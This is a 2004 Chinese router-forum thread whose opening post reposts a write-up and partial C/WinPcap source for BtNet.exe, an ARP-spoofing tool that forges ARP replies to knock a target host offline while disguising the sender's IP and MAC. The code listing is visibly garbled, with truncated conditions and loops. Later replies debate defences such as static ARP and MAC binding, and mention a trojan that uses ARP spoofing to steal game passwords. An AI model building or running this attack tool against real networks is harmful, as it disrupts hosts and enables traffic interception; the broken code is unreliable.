找回密码
 注册

QQ登录

只需一步,快速开始

搜索
查看: 6534|回复: 10

[其它] 基于arp欺骗的网络攻击程序『知己知彼,百战不殆』

[复制链接]
发表于 2004-12-18 11:34:44 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?注册

×
基于arp欺骗的网络攻击程序(BtNet.exe)『转载』基于arp欺骗的网络攻击程序written by RuderHomepage:http://xEyes.cdut.net/ruder/ && http://www.cnwill.com/ruder/Email:cocoruder@163.com最近开始学WINPCAP,看了很多高手写的基于arp欺骗的抓包工具,尤其是电子科大的TOo2y师兄的《详谈调用winpcap驱动写arp多功能工具》,令我收益非浅。下面是我把这个思想改成arp攻击程序(可令目标主机断开网络连接)的一些测试。高手请略过,以免有班门弄斧之闲。一般的arp spoof是向被欺骗主机发送ARP REPLY数据报,把其中的源IP地址置为被欺骗主机要发包去的主机地址,源MAC地址却改为自己的MAC地址。假设有两台机器A,B,发送一个ARP REPLY数据报给A,其中源IP地址为B的地址,源MAC地址为我的机器的MAC地址(IPRouter功能打开确保数据被转发),那么A发送到B的数据报就发到我的机器上了,同样对B做相同到操作,那么AB之间的数据就会源源不断的通过我的机器转发,直到一个正常的ARP包更改了A,B的arp缓存为止。那么我们把发送给A的arp数据报的源IP,源MAC更改成任意的,会出现什么现象?下面是我的几个测试1. 源IP更改为网关IP,源MAC改为不存在的MAC地址对目标主机几乎不影响2. 源IP更改为网关IP,源MAC改为内网内任意一台存在但没有开启IPRouter的主机的MAC地址几乎不影响 3. 源IP更改为网关IP,源MAC改为目标主机的MAC目标主机立刻断网!----------------『以上部分其实就是我们所需要的ARP欺骗攻击的初始原理,掌握了这个,我想再对症下药于ros就不是很难了吧?』可见当发送经过我们构造的ARP REALY包给目标主机时,会使目标主机的ARP缓存更改,数据封装到MAC层的时候会把网关的IP和自己的MAC地址封装到一起,那么发送到网关的数据报只好发给自己了,呵呵。至于第1种情况,猜想大概是由于MAC地址不存在,目标主机会广播一个ARP REQUEST包而更新了自己的ARP缓存所致。至于第2种情况,猜想源MAC地址所属主机会返回一个ARP REPLY给目标主机。水平有限,所以只是猜想,知道的请告诉我一声,先谢过了。再说一下,以上测试只对于windows系统,当然也测试过对没有配置好的Red Hat成功过。测试程序(BtNet.exe)说明:Usage: BtNet -h attackIP -o gateIP [-m spoofedMAC]-m参数是你要修改的源MAC地址.为了隐蔽攻击者身份,程序再得到目标主机MAC地址时伪装成IP:128.128.128.128,MAC:a5-a5-a5-a5-a5-a5,可能会得不到目标主机的MAC地址,那么要得到MAC地址请借助第三方工具。附测试程序代码#include "packet32.h"#include "ntddndis.h"#include #include #include #include #pragma comment(lib,"ws2_32")#pragma comment(lib,"packet")#define ETH_IP 0x0800#define ETH_ARP 0x0806#define ARP_REQUEST 0x0001 //arp请求包#define ARP_REPLY 0x0002 //arp应答包#define ARP_HARDWARE 0x0001#define max_num_adapter 10#pragma pack(push,1)typedef struct ethdr{    unsigned char eh_dst[6]; //以太网目的地址    unsigned char eh_src[6]; //以太网源地址    unsigned short eh_type; //}ETHDR,*PETHDR;typedef struct arphdr //arp头{    unsigned short arp_hdr; //硬件类型    unsigned short arp_pro; //协议类型    unsigned char arp_hln; //硬件地址长度    unsigned char arp_pln; //协议地址长度    unsigned short arp_opt; //    unsigned char arp_sha[6]; //发送端以太网地址    unsigned long arp_spa; //发送端ip地址    unsigned char arp_tha[6]; //接收端以太网地址    unsigned long arp_tpa; //接收端ip地址}ARPHDR,*PARPHDR;typedef struct ip_mac{u_long ip;unsigned char mac[6];}IP_MAC,*PIP_MAC;#pragma pack(push)LPADAPTER lpAdapter;char adapterlist[max_num_adapter][1024];IP_MAC toipandmac;IP_MAC oipandmac,myipandmac;BOOL param6=FALSE;char *noMACstr;char noMAC[6][3];u_long mytoIP,oIP;BOOL sendtoOip;MSG msg;UINT newtimer;char MYIP[20]="128.128.128.128";BOOL toipandmac_flag=FALSE,myipandmac_flag=FALSE,oipandmac_flag=FALSE;int getint(char c){    int t=-1;    if((c='0'))        t=c-'0';    else if((c>='a')&&(c='A')&&(culBytesReceived;        buf=(char *)lpPacketr->Buffer;        off=0;    while(offbh_hdrlen;        pChar=(char *)(buf+off);        base=pChar;        off=Packet_WORDALIGN(off+hdr->bh_caplen);        eth=(PETHDR)pChar; //以太头         arp=(PARPHDR)(pChar+sizeof(ETHDR)); //arp头         int i;                if((eth->eh_type==htons(ETH_ARP))&&            (arp->arp_opt==htons(ARP_REPLY)))        {         //if (arp->arp_tpa==htonl(ntohl(inet_addr(MYIP))))            {            if(oipandmac_flag&&myipandmac_flag&&toipandmac_flag)                return 0;                        if (((toipandmac.ip==htonl(arp->arp_spa))&&(toipandmac_flag==FALSE))                ||((myipandmac.ip==htonl(arp->arp_spa))&&(myipandmac_flag==FALSE))                ||((oipandmac.ip==htonl(arp->arp_spa))&&(oipandmac_flag==FALSE)))            {            memset(szTemp,0,sizeof(szTemp));            memcpy(szTemp,&arp->arp_spa,sizeof(arp->arp_spa));                        printf("[IP]:");            printf("%s",inet_ntoa(*((struct in_addr *)szTemp)));            printf("[MAC]:");            for(i=0;ieh_src[i]);            }            printf("%.2x",eth->eh_src[5]);            printf("\n");                                    if (toipandmac.ip==htonl(arp->arp_spa))            {                for(i=0;ieh_src[i];                toipandmac_flag=TRUE;            }            if (oipandmac.ip==htonl(arp->arp_spa))            {                for(i=0;ieh_src[i];                oipandmac_flag=TRUE;            //    printf("if you have get the MAC Addresses enough,Press any key for staring!\n");            }            if(myipandmac.ip==htonl(arp->arp_spa))            {                for(i=0;ieh_src[i];                myipandmac_flag=TRUE;            }            }        }}     continue;    }}    return 0;}DWORD WINAPI sendARPPacket(LPVOID dwsendtoIP){    LPPACKET lpPacket;    ETHDR eth;    ARPHDR arphdr;    int i;    char szPacketBuf[600];    u_long sendtoIP=*(u_long *)dwsendtoIP;    //struct sockaddr_in sin;    lpPacket = PacketAllocatePacket();    if(lpPacket==NULL)    {        printf("\nPacketAllocatePacket error!");        return 0;    }    eth.eh_type=htons(ETH_ARP);    for(i=0;i
routeros
发表于 2004-12-18 14:28:40 | 显示全部楼层
这种程序网上有很多。但其实也可以很快找出是哪台用的ARP欺骗,因为要用这种欺骗网卡必须处于混杂模式,用很多工具一检测就知道是哪台在欺骗了。呵而且,在XP和WIN2003中如果用ARP绑定IP后,用ARP欺骗很难凑效了,微软在这方面的确做的比LINUX相对好些。现在有一种传奇木马,就是可以偷盗局域网中所有玩传奇的帐号和密码,也是基于ARP欺骗完成的,但在WIN2003或XP且绑定IP的机器上很难凑效!
routeros
回复

使用道具 举报

发表于 2004-12-18 15:01:18 | 显示全部楼层
呵。xp和2k3绑IP和MAC?你是没测试过吧?绑了是没用的,一个arp应答报文就能把绑定的arp表刷掉,不信你可以试试。微软在这方面做的并不好。
routeros
回复

使用道具 举报

发表于 2004-12-18 15:04:33 | 显示全部楼层
QUOTE (sebriko @ Dec 18 2004, 03:01 PM)
呵。xp和2k3绑IP和MAC?你是没测试过吧?绑了是没用的,一个arp应答报文就能把绑定的arp表刷掉,不信你可以试试。微软在这方面做的并不好。  
  呵,这是别人网吧测试过的,只有XP和2003可以,WIN2K都不行。为什么很多网吧客户机用2003就是看中这一点啊,我也不清楚他们用的什么程序,反正的确可以有效防止传奇木马的ARP欺骗!
routeros
回复

使用道具 举报

发表于 2004-12-18 15:06:46 | 显示全部楼层
下面是转的:严重告诫:盛大传奇用户切记!!!  多年来,本网吧一直非常注意网络安全,所幸从来没有发生过顾客游戏帐号密码丢失的情况,但现在有一种情况我们必须提醒网友予以严重关注:近来基于ARP原理的传奇木马已经广为流传,来势非常凶猛。这种木马以欺骗方式完全躲过一般网吧现有的常规防范手段。因而没有采取有效措施的网吧,其盛大传奇帐号和密码很难保证安全。 本网吧已对此写出防范代码程序,并已验证通过测试效果良好。但是它只能在目前安全性最高的Windows 2003系统下起防堵作用。所以新岸网吧因为安全原因,经过近一个半月的调试安装,已于04年10月30日首家全面采用2003系统。
routeros
回复

使用道具 举报

发表于 2004-12-18 15:38:43 | 显示全部楼层
楼上的如果你用windows xp打了SP2,你再运行下许多的黑客工具你就知道SP2的保护是多么的强大,windows 2003的sp1没出来,安全性比XP SP2要弱得多,如果你在路由器上启用MAC捆绑,再使用交换机端口MAC捆绑(交换机要网管型的),随便你用什么操作系统,你再试下还能不能ARP欺骗。根本就不用装什么2003,况且2003的游戏性能根本不佳。至于ARP欺骗的文章大家可以去这里看,www.net130.com
routeros
回复

使用道具 举报

发表于 2004-12-18 16:01:55 | 显示全部楼层
可绑定MAC IP 端口的交换机价格实在是高,网吧用不起啊!!不过这种传奇木马的确可以在WIN2K3下防得住。。。至少说明2003并不是那么差的。呵呵
routeros
回复

使用道具 举报

发表于 2004-12-18 16:42:30 | 显示全部楼层
才看了关于ARP的一些文章,其中有一点很有启发,win9x下设置的静态ARP会随ARP刷新而改变,而windows 2000则不会,所以根据这个原理分析,只有9x下的机器才容易被ARP欺骗,楼上所说的那种传奇木马的原理是监听每台机器发往路由器的包,所以如果在路由器上设置静态的ARP表理论上也可以防止
routeros
回复

使用道具 举报

发表于 2004-12-18 19:09:15 | 显示全部楼层
呵,楼上的,知道了吧?如果我们用WIN2K作路由,用ARP -S绑定的话,即使有冲突也不会断网的!这是我试过很多次了。所以在网吧,我认为最好每台绑定一下IP。。。。。。再到路由上绑定ARP,这样可能效果好些。
routeros
回复

使用道具 举报

发表于 2004-12-18 19:19:00 | 显示全部楼层
呵呵,偶的ROS设置了也一样不会断网,如果不设置的话,有人将机器IP改成ROS的地址就会马上断。win2K做路由,企业用可以,网吧么还是算了吧。根本不用在每台机器绑定ARP,只要在路由器里面绑定就可以了,ROS在这些方面完全可以满足。我猜想楼上的都是用的2003的路由共享上网,唉,那样得用一台好机器哦,ROS就可以办到,何必用2003呢?
routeros
回复

使用道具 举报

发表于 2004-12-18 19:22:05 | 显示全部楼层
现在用的是ROS。。。哈
routeros
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|Archiver|手机版|小黑屋|软路由 ( 渝ICP备15001194号-1|渝公网安备 50011602500124号 )

GMT+8, 2024-12-23 13:34 , Processed in 0.062823 second(s), 4 queries , Gzip On, Redis On.

Powered by Discuz! X3.5 Licensed

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表